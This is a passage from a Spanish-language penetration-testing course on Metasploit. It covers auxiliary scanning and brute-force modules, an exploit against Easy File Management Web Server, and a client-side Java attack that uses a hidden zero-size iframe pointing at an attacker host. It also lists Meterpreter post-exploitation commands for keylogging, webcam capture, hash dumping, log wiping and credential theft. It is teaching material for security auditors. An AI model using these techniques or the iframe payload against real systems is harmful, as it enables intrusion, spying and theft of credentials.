Acciones
Índice
1 | Auxiliary 3
2 | Explotación 9
3 | Post explotación 18
Acciones | TELEFÓNICA // 3
1. Auxiliary
Metasploit dispone de distintos módulos de
tipo auxiliary con los que se puede obtener
diversa información sobre servicios y
máquinas remotas, realizar fuzzing, sniffers,
servers, herramientas para http, mysql,
netbios, NFS, Orcale, SNMP, …
Veamos a continuación algunos ejemplos
que permiten al auditor obtener la versión
de un servidor FTP remoto. La primera
herramienta o módulo que se utiliza es
auxiliary/scanner/ftp/ftp_version.
Su configuración es realmente sencilla, se
Imagen 144 Metasploit - Versión ftp
indica el FTP remoto en la variable RHOSTS
y el puerto por el que se escucha el FTP.
Acciones | TELEFÓNICA // 4
Otra herramienta que se puede utilizar es
auxiliary/scanner/ftp/anonymous con la
que mediante el uso del usuario anónimo se
puede detectar la versión del servidor FTP.
Imagen 145 Metasploit - Scanner ftp con anonymous
Para el servicio SSH existen varios módulos
auxiliary que permiten de una forma rápida
extraer la versión del servicio remoto. El
módulo en concreto es auxiliary/scanner/
ssh/ssh_version, configurando la máquina
remota.
Imagen 146 Metasploit - Versión SSH
Acciones | TELEFÓNICA // 5
Existen otras herramientas para realizar fuerza bruta sobre el servicio El servicio SMB, Server Message Block, dispone de herramientas
SSH como puede ser auxiliary/scanner/ssh/ssh_login que permite con las que se puede obtener información útil para poder utilizarlas
realizar fuerza bruta a cuentas de usuarios que se pueden entrar durante el ataque. En la ruta auxiliary/scanner/smb/smb_version se
en el sistema mediante autenticación de login y password. A este dispone de un escáner con el que se puede detectar la versión del
módulo se le puede configurar una lista de passwords y de usuarios sistema operativo dónde se encuentra el servicio SMB.
e ir probando las posibles combinaciones.
Imagen 147 Metasploit - Versión SO
Este tipo de escáneres orientados a un servicio concreto son más Otra de las herramientas para obtener información sobre el servicio
silenciosos que los escáneres que analizan un gran número de SMD es auxiliary/scanner/smb/smn_enumshares que permite
servicios o recursos, por lo que si se necesita evitar un análisis masivo determinar que recursos compartidos son proporcionados por SMB
y ruidos estas herramientas son esenciales. en una o un conjunto de máquinas, así como auxiliary/scanner/
smb/smb_enumusers determina que usuarios locales existen en la
máquina remota.
Acciones | TELEFÓNICA // 6
Otras herramientas que podemos usar con
los módulos auxiliares nos permiten realizar
diferentes tipos de escaneos. Para realizar
un escaneo Half Scan, el cual consiste
en realizar el procedimiento three-way
handsake sin concluir por completo para
no crear una conexión. En otras palabras, el
emisor envía un SYN para iniciar la conexión,
si el receptor envía un SYN+ACK significa que
el puerto se encuentra abierto, entonces el
emisor envía un RST+ACK para finalizar la
conexión, en lugar de un ACK que sería lo
normal para crear la conexión. Se dispone
del módulo auxiliary/scanner/portscan/tcp
al que habría que configurar la dirección IP
a escanear, el rango de puerto, el timeout, …
incluso podría pasarle la ruta de una captura
de red.
Imagen 147 Metasploit - Versión SO
Acciones | TELEFÓNICA // 7
Podríamos utilizar otros modules para los
distintos tipos de escaneo como ACK Scan el
cual determina si un equipo de la red escucha
a través de un firewall (auxiliary/scanner/
portscan/ack) y XMas Scan (auxiliary/
scanner/portscan/xmas)
Un módulo que nos permite detectar
máquinas que están localizados en la misma
de red la maquina atacante se pueden
enumerar dichas maquinas haciendo un
escaneo ARP con el módulo auxiliary/
scanner/discovery/arp_sweep
Imagen 149 Metasploit - Enumeración ARP
Acciones | TELEFÓNICA // 8
Otra herramienta que nos puede mostrar
información relevante podemos conseguirla
con el módulo auxiliary/gather/dns_info
Existen cantidad de módulos auxiliares que
podemos hacer uso de ellos, para lo que se
referencia al sitio web de Metasploit donde
se podrá obtener listado completo.
Imagen 150 Metasploit - DNS info
Acciones | TELEFÓNICA // 9
2. Explotación
En esta fase tras analizar la información obtenida y las posibles Todos los exploits utilizan exploit/multi/handler. Este módulo
vulnerabilidades encontradas, se lanzará uno o varios exploits con es capaz de gestionar y manejar cada uno de los exploits que se
el objetivo de lograr acceso a un sistema informático remoto o encuentran en el framework, sin importar la conexión o el tipo de
información a la que no tiene un acceso autorizado. arquitectura. Este módulo está diseñado de tal forma que sabe
cómo tratar cada tipo de payload porque en su configuración se
La elección de un payload es algo fundamental y crítico a la hora le dice que debe esperar. Cuando el auditor se encuentra con un
de realizar la explotación de un sistema El auditor debe elegir el módulo cargado, precio uso del comando use, hay un momento en el
contexto en el que se moverá, es decir, si utilizará un payload para la que debe elegir el payload, y en ese punto es cuando implícitamente
fase de post-explotación o, por el contrario, le basta con conseguir se llama al módulo de manera transparente al audito. En otras
una shell sobre un sistema concreto y demostrar la vulnerabilidad ocasiones, puede ser que se deba utilizar explícitamente al módulo
del sistema. para manejar y gestionar las posibles sesiones remotas.
Existen distintos tipos de payloads, singles, stagers y staged. Los Para ver todos los payload disponibles utilizaremos el comando
payloads de tipo single, son autónomos y realizan una tarea concreta show payloads, si este se ejecuta con un módulo cargado, mostrará
o específica (por ejemplo, bind a una Shell, creación de un usuario, solamente los válidos para dicho módulo organizados.
ejecución de un comando, …). Los de tipo stagers se encargan de
crear la conexión entre el cliente y la víctima, y son utilizados para En la fase explotación podemos encontrar varias situaciones como
descargar payloads de tipo staged. Estos últimos, se descargan y las intrusiones sin interacción y con interacción por parte del usuario.
normalmente son utilizados para realizar tareas complejas o con
gran variedad de funcionalidades, como puede ser un meterpreter. En las intrusiones sin interacción se lanza un exploit el cual no
requiere de interacción por pate del usuario, por lo que cualquier
atacante podría tomar el control remoto de dicho equipo sin que el
usuario notase, a priori, nada extraño.
Acciones | TELEFÓNICA // 10
En esta prueba de concepto disponemos de una maquina Windows dicho exploit, configurar la IP en la variable RHOST y el puerto en el
7 con un servidor web como Easy File Management Web Server, el que se encuentra el servidor web en la variable RPORT, y al ejecutar
cual permite tener alojada una página web en los puertos 80 y 443. el exploit con el compando exploit se consigue acceso a la máquina
En versión 4.3 y 5.0 vulnerable existe exploit que se puede descargar víctima. Se utiliza el payload configurado por defecto, aunque se
de exploit-db y copiarlo en la carpeta /usr/share/Metasploit- puede cambiar y elegir el que se desee.
framework/modules/exploits/NOMBRE podemos hacer uso de
Imagen 151 Metasploit - Options Easy File
Acciones | TELEFÓNICA // 11
Imagen 152 Metasploit - Configuración exploit Easy File
Imagen 153 Metasploit - Exploit Easy file
Acciones | TELEFÓNICA // 12
Es muy interesante entender distintos conceptos en el Por otro lado, se podría haber utilizado un payload con conexión
comportamiento de los payloads en función de si son inversos, directa bind. En ese caso, en vez de aparecer la variable LHOST en
reverse, o directos, bind. En la prueba de concepto se ha utilizado la configuración del payload, aparecería la variable RHOST que debe
un payload meterpreter de conexión inversa, por lo que se debe ser la dirección IP de la máquina a la que se quiere acceder. En este
configurar al código del payload donde se debe conectar mediante caso, es más fácil detectar la conexión por parte de un IDS o firewall.
la variable LHOST, es decir, a la dirección IP del atacante o de un
servidor que recoja las conexiones que se encuentre bajo el control
del atacante.
Imagen 154 Metasploit - Payload
Acciones | TELEFÓNICA // 13
El comando check permite verificar si el
equipo remoto es vulnerable al módulo
cargado por eso, antes de lanzar el exploit se
puede utilizar este comando para verificar la
Imagen 155 Metasploit - Check
vulnerabilidad.
Imagen 156 Easy File Management Web Server
Acciones | TELEFÓNICA // 14
El otro tipo de intrusión se realiza con la interacción por parte del Una prueba de concepto sobre este tipo de intrusión sería
usuario, o lo que se llama Client Side Attack, ataques del lado del primeramente la creación de una web falsa, igual que la original, en
cliente. Son ataques que permiten al atacante tomar el control la que el usuario introdujera sus datos de usuario y password. En
de una máquina víctima explotando una vulnerabilidad de una dicha web se introduciría un <iframe> en el que en segundo plano
aplicación que es ejecutada por el usuario. Este tipo de ataques cargara el servidor levantado, por ejemplo: <iframe src=“http://
son muy frecuentes, cada vez son más complejos y provocan que IPKALI:8080/” width=0 height=0 /> de tamaño 0 para no levantar
la víctima no sepa realmente lo que está haciendo con su máquina. sospechas. Las versiones de Java 7u10 y anteriores tiene una
vulnerabilidad en la que se aprovecha las clases JMX desde un Applet
Esta técnica consiste en crear, ya sea un fichero, un servicio o una Java para ejecutWar código Java arbitrario fuera de la sandbox. Por lo
aplicación, con fines maliciosos con el objetivo de obtener acceso a la que la víctima visitaría la web “clonada” y al visitarla se aprovecharía
máquina de la víctima, ya sea por red local o por Internet. Metasploit de la vulnerabilidad y se obtendría acceso a la máquina del usuario.
permite realizar estos tipos de ataques.
Imagen 156 Easy File Management Web Server
Acciones | TELEFÓNICA // 15
Imagen 158 Metasploit - Ataque Client Side con iframe oculto
Acciones | TELEFÓNICA // 16
Imagen 159 Metasploit - Ataque Client Side payload
Acciones | TELEFÓNICA // 17
Imagen 160 Metasploit - Ataque Client Side con explotación vulnerabilidad
Acciones | TELEFÓNICA // 18
3. Post explotación
En esta fase el auditor puede obtener gran cantidad de información También hay que recalcar que en muchas otras ocasiones se
sobre el estado de una red, una maquina o incluso, poder obtener necesita de payloads como Meterpreter para poder disponer de un
acceso a zonas donde antes no se podía acceder. control total sobre la máquina víctima. Pero no sólo un control sobre
la máquina vulnerada, sino aprovechar esta situación para controlar
La post-explotación es por tanto una de las fases comprendidas el entorno de dicho equipo.
en un test de intrusión y la cual debe ser procesada de manera
minuciosa. En esta fase el auditor recopilará información real del Meterpreter es un payload disponible para Metasploit con el que
escenario, utilizando como intermediario una máquina vulnerada en se puede realizar casi toda acción imaginable. Aporta una consola
la fase anterior, la fase de explotación. o líneas de comandos propia con sus comandos incluidos. Además,
puede ejecutar sus propios scripts los cual hace que aumenta la
En dicha fase se indicaba que la elección del payload es una acción potencia y posibilidades. También se pueden cargar módulos que
crítica ya que las funcionalidades que se podrían realizar después de aportan funcionalidades extra con lo que los usuarios pueden
lograr la explotación dependían de éste. En algunas ocasiones no se realizar más acciones.
necesitan muchas funcionalidades y sí una en concreto. Mientras que
en otras ocasiones lograr tener un control completo sobre la máquina La técnica que se utiliza para ejecutar un Meterpreter en una
víctima puede ayudar, y mucho, en la fase de post-explotación. máquina vulnerada es la inyección en memoria de DLLs en los
procesos en ejecución del equipo vulnerado. Después de explotar
Cuando se dispone de acceso físico a una máquina, uno de los el equipo vulnerable se canan dichas DLL’s en el proceso vulnerado
payloads más interesantes que se puede ejecutar es alguno que y se obtiene una interfaz intuitiva de línea de comandos. Se puede
proporcione una escalada de privilegios en la misma. migrar de un proceso a otro para evitar que el cierre o la caída del
proceso vulnerado hagan caer la conexión con la máquina atacante.
Los comandos propios se estructuran en tres categorías principales
Core commands, stdapi y Priv. A continuación, mostraremos algunos
más habituales.
Acciones | TELEFÓNICA // 19
Core Commands • Networking Commands: permiten realizar gestiones de red.
−−Route: permite visualizar y manipular las entradas de la
Permiten realizar distintas funciones básicas en la sesión de la
tabla de rutas del equipo remoto.
máquina remota. El objetivo de estos comandos es el de ejecutar
scripts cargar módulos e interactuar con la máquina remota. −−Ipconfig: permite visualizar la configuración de red de la
máquina.
• Background: permite dejar la sesión de Meterpreter en segundo
plano y volver a la interacción con la interfaz de Metasploit que −−Portfwd permite realizar port forwarding sobre la maquina
se esté utilizando. vulnerada.
• Help: muestra la ayuda del comando del que se requiere • System Commands: proporcionan la gestión del sistema
información. El comando ¿ es muy similar. vulnerado.
• Execute: permite ejecutar una aplicación en la máquina vulnerada −−Crearev: permite borrar la información de los registros, las
huellas de las operaciones que se ha realizado en el sistema
• Interact: permite interactuar con el proceso ejecutado en la
vulnerado.
máquina remota indicando el identificador del canar que hay
abierto en el proceso remoto. −−Getuid: permite conocer la identidad del usuario con el que
se está ejecutando.
Stdapi −−Getpid: permite conocer el PID del proceso en el que se está
ejecutando la sesión de Meterpreter en ese instante
Permiten al usuario realizar acciones comunes, que cualquier usuario
−−Ps: lista los procesos con gran cantidad de información.
puede ejecutar en el sistema operativo que utilizan, sobre el sistema
operativo de la máquina remota. Existen varias categorías: −−Kill: permite eliminar procesos en la máquina remota.
• File System Commands: los comandos del sistema de archivos −−Shell: permite obtener una línea de comandos, pudiendo
permiten al atacante realizar operaciones sobre los archivos administrar la maquina remota como si se estuviese
tanto remotos como locales. físicamente en el mismo.
−−Ls: muestra el listado de archivos de la máquina vulnerada. −−Sysinfo: ofrece información del sistema vulnerado (nombre
del equipo, sistema operativo, arquitectura del equipo y
−−Cat: muestra el contenido de un archivo por pantalla.
configuración regional)
−−Mkdir y rmdir: crean y borran un directorio.
−−Upload y download: permiten subir y descargar archivos
entre las máquinas.
Acciones | TELEFÓNICA // 20
• User Interface Commands: proporcionan al atacante la • Timestomp: permiten manipular los atributos de un fichero del
posibilidad de gestionar las propiedades y actividad del escritorio, sistema vulnerado
teclado y el propio sistema.
−−Idletime: se puede consultar el tiempo de inactividad del Scripts de meterpreter
sistema por parte de la víctima.
Existen gran cantidad de scripts que se pueden ejecutar con
−−Keyscan_start: captura las pulsaciones de teclado.
Meterpreter en la máquina vulnerada a través del comando
−−Keyscan_stop: para la captura de las pulsaciones de run. Algunos realizan funcionalidades similares a las de algunos
teclado. comandos comentados anteriormente. Algunos destacados son
winenum y scrapper.
−−Keyscan_dump: volcado del buffer donde están contenidas
las pulsaciones capturadas. • Winenum permite recolectar información completa de la
máquina vulnerada. Realiza numerosas acciones entre las que
−−Screenshot: captura de pantalla de la máquina de la víctima.
destacan lanzar gran cantidad de órdenes de línea de comandos
• Webcam Commands: permiten gestionar las webcam y y de órdenes de WMI, obtener un listado de aplicaciones que
micrófono del equipo vulnerado. se encuentren instaladas en la máquina vulnerada, realizar un
volcado de hashes, tokens, … almacenando dicha información en
−−Record_misc: permite grabar audio del micrófono por
/.msfX/logs/scripts/winenum/nombre_máquina
defecto.
−−Webcam_list: obtiene el listado de las webcams disponibles.
−−Webcam_snap: realiza fotografías de la webcam.
Priv
Proporcionan funcionalidades para elevar privilegios, manipular
información sensible y realizar otras tareas.
• Getsystem: permite realizar intentos para elevar privilegios en el
sistema vulnerado.
• Hashdump: ofrece la posibilidad de obtener los hashes y usuarios
que se encuentran en el sistema.
Imagen 161 Winenum
Acciones | TELEFÓNICA // 21
• Scraper permite realizar una recogida de información con partes Los scripts de tipo get permiten la activación o habilitación de un
sensibles de la estructura de un sistema operativo Windows. servicio y la recuperación de información sobre el entorno y las
Permite obtener información básica del equipo como usuarios, la credenciales de ciertos servicios o aplicaciones.
información que proporciona el comando systeminfo, enumerar
los recursos compartidos de la máquina, volcado de usuarios Get_application_list: devuelve el listado con las aplicaciones
y hashes de la máquina, conexiones activas y estadísticas de instaladas en la máquina vulnerada.
éstas, variables de entorno, grupos, servicios del sistema, … Se
almacena en /.msfX/logs/scripts/scraper/dirección_IP Get_local_subnets: devuelve un listado de las subredes en las que
se encuentra.
Get_env: devuelve el listado de las variables de entorno.
Getcountermeasure: proporciona información sobre la configuración
del firewall, así como la política que dispone sobre DEP, Data
Execution Prevention
Imagen 162 Scraper
Los scripts de tipo post se organizan en dos categorías multi
y windows. El primero de ellos válidos para meterpreters
independientes de la plataforma, y los segundos para sistemas
operativos Windows.
Post/windows/wlan/wlan_bss_list: proporciona información
sobre las redes wireless que tiene configurada la máquina.
Post/windows/wlan/wlan/wlan_current_conexion: muestra a
qué red WiFi está conectada la máquina.
Acciones | TELEFÓNICA // 22
Post/windows/wlan/wlan_profile: recupera la información de las Además, Meterpreter dispone de módulos extra que no se encuentran
redes Wireless configuradas en la máquina vulnerada, incluyendo cargados al realizar la explotación. Para la carga de dichos módulos
información como la contraseña de la red WiFi. se utiliza el comando load.
Post/windows/manage/delete_user: permite eliminar un usuario Los módulos más utilizados son:
de la máquina.
• Espia: el cual proporciona funcionalidades para realizar capturas
de pantalla con screengrab.
Post/windows/manage/powershell/exec_powershell: ejecuta un
script en powershell. • Incognito: permite la gestión de usuarios e impersonalización de
éstos, como añadir un usuario a un grupo con add_group_user,
Post/windows/gather/credentials/: recoge las credenciales de o añadir un usuario con add_user.
gran cantidad de aplicaciones o servicios.
• Snifer: permite comprobar y aprovechar el entorno de red, así
como el tráfico que circula en la máquina vulnerada. Con el
Post/windows/gather/checkvm: permite comprobar si la máquina
comando sniffer_start permite comenzar la captura del tráfico,
vulnerada es una máquina virtual o no.
sniffer_interfaces obtener el listado de las interfaces y sniffer_
dump realizar el volcado del buffer a un fichero PCAP.
Post/windows/gather/enum: permiten enumerar o listar recursos
o propiedades de la máquina vulnerada.